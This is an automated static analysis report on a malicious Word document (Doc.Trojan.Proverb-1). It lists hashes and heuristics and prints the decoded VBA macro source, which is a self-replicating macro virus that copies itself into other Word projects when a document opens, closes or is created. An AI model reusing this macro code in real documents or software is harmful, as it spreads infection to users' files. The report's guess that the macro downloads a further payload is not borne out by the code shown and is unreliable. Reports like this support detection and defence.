Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 cf978d53c075dfb3…

MALICIOUS

Office (OLE)

30.5 KB Created: 2001-05-01 15:18:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 83ccbb6c878d8b107a1174f39a45bbe3 SHA-1: 03f398ad2f4412058902f9c4af3be400fb7c6b2a SHA-256: cf978d53c075dfb35992d4dbc6e1e5f569e07a2ee6057ecde747cb269b49b218
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file is identified as malicious by ClamAV with the signature Doc.Trojan.Proverb-1. It contains VBA macros, specifically a Document_Open macro designed to execute code when the document is opened. The macro attempts to obfuscate its execution by scheduling a secondary macro to run at a later, randomized time, likely to download and execute a further payload.

Heuristics 3

  • ClamAV: Doc.Trojan.Proverb-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Proverb-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 11926 bytes
SHA-256: c726422000faf7b538cc6467d28488e6cc852373990b65fa49c18206e7b47460
Detection
ClamAV: Doc.Trojan.Proverb-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Private Sub Document_Close()
On Error Resume Next
Document_Open
End Sub

Private Sub Document_New()
On Error Resume Next
Document_Open
End Sub

Private Sub Document_Open()
On Error Resume Next
    With Options
 '       .SaveNormalPrompt = False
'        .VirusProtection = False
    End With
Dim I%, j%, k As Long, m As Boolean
Application.OnTime When:=Now + TimeValue("00:" & Format(Int(Rnd * 5) + 1, "00") & ":00"), Name:=VBE.VBProjects(1).Name & "." & VBE.VBProjects(1).VBComponents(1).Name & ".OnTimer"
For I = 1 To VBE.VBProjects.Count
 For j = 1 To VBE.VBProjects(I).VBComponents.Count
  With VBE.VBProjects(I).VBComponents(j).CodeModule
     If .CountOfLines > 80 Or .CountOfLines < 50 Then
     .deletelines 1, .CountOfLines
     Err.Clear
      .AddFromString Me.VBProject.VBComponents(Me.CodeName).CodeModule.Lines(1, Me.VBProject.VBComponents(Me.CodeName).CodeModule.CountOfLines)
      If Err = 0 Then
        m = False
        For k = .CountOfLines To .CountOfLines - 20 Step -1
           If .Find("Sub OnTimer", k, 1, k, 30) Then m = True: Exit For
        Next
        If m Then
            .deletelines k
            '.InsertLines k, IIf(VBE.VBProjects(I).Name = "Normal", "Sub OnTimer()", "Private Sub OnTimer1()")
        End If
      Else
      Application.OnTime When:=Now + TimeValue("00:00:10"), Name:=VBE.VBProjects(1).Name & "." & VBE.VBProjects(1).VBComponents(1).Name & ".OnTimer"
      End If
     End If
  End With
 Next
Next
End Sub
Private Sub ShowMess()
On Error Resume Next
If Left(Application.Version, 1) = "8" Then
  ShVer8
Else
 If MsgBox(GetMess(), vbOKCancel, Choose(Int(Rnd * 9) + 1, "Ń 1 Ŕďđĺë˙ Âŕń!", "Îďŕ?-Óăó!", "Ŕ âîň č ńĺăîäí˙říčé ďđčęîë", "Word: Ýňî ˙ áóęâŕëüíî ňîëüęî ÷ňî ďđčäóěŕë", "őĺ-őĺ", "Word: Ýňî ˙ â Đóńńęîě đŕäčî óńëűřŕë", "Đĺęëŕěíŕ˙ ńëóćáŕ Microsoft Word", "Word: Çŕäîëáŕëč ěĺí˙ ýňč ěŕęđîâčđóńű", "Âîň Âŕě," & Application.UserName, "Ďîńëĺäíčé ďđčęîë ńĺçîíŕ", "Word: Îé, ńĺé÷ŕń îďčńŕţńü...")) = 1 Then ShowMess
End If
End Sub
Private Sub ShVer8()
 On Error Resume Next
 Assistant.Visible = True
 Dim bln As Balloon
 Set bln = Assistant.NewBalloon
 With bln
  .Mode = msoModeAutoDown
  .Heading = GetMess()
  .Animation = Int(Rnd * (117))
  .Button = msoButtonSetNextClose
  .Text = Choose(Int(Rnd * 14) + 1, "Ń 1 Ŕďđĺë˙ Âŕń, " & Application.UserName & Space(100) & Assistant.Name, "Îďŕ?-Óăó!", "", "", "óěđó îň ńěĺőŕ", "ďđŕâäŕ ńěĺříî", "Ŕ âîň č ńĺăîäí˙říčé ďđčęîë", Assistant.Name & ": Ýňî ˙ áóęâŕëüíî ňîëüęî ÷ňî ďđčäóěŕë", Assistant.Name & ": Îé, ńĺé÷ŕń îďčńŕţńü...", "őĺ-őĺ", Assistant.Name & ": Ýňî ˙ â Đóńńęîě đŕäčî óńëűřŕë", "Đĺęëŕěíŕ˙ ńëóćáŕ Microsoft Word", Assistant.Name & ": Çŕäîëáŕëč ěĺí˙ ýňč ěŕęđîâčđóńű", "Âîň Âŕě," & Application.UserName, "Ďîńëĺäíčé ďđčęîë ńĺçîíŕ")
  If .Show = -6 Then ShowMess
 End With
 Assistant.Animation = 0
End Sub
Private Function GetMess()
On Error Resume Next
GetMess = Mid(Me.VBProject.VBComponents(Me.CodeName).CodeModule.Lines(Int(Rnd * Me.VBProject.VBComponents(Me.CodeName).CodeModule.CountOfDeclarationLines) + 1, 1), 2)
End Function

' Processing file: /opt/analyzer/scan_staging/ebf2a8cad8da45478484b6cf1a358e87.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 5998 bytes
' Line #0:
' Line #1:
' 	FuncDefn (Private Sub Document_Close())
' Line #2:
' 	OnError (Resume Next) 
' Line #3:
' 	ArgsCall Document_Open 0x0000 
' Line #4:
' 	EndSub 
' Line #5:
' Line #6:
' 	FuncDefn (Private Sub Document_New())
' Line #7:
' 	OnError (Resume Next) 
' Line #8:
' 	ArgsCall Document_Open 0x0000 
' Line #9:
' 	EndSub 
' Line #10:
' Line #11:
' 	FuncDefn (Private Sub Document_Open())
' Line #12:
' 	OnError (Resume Next) 
' Line #13:
' 	StartWithExpr 
' 	Ld Options 
' 	With 
' Line #14:
' 	QuoteRem 0
... (truncated)

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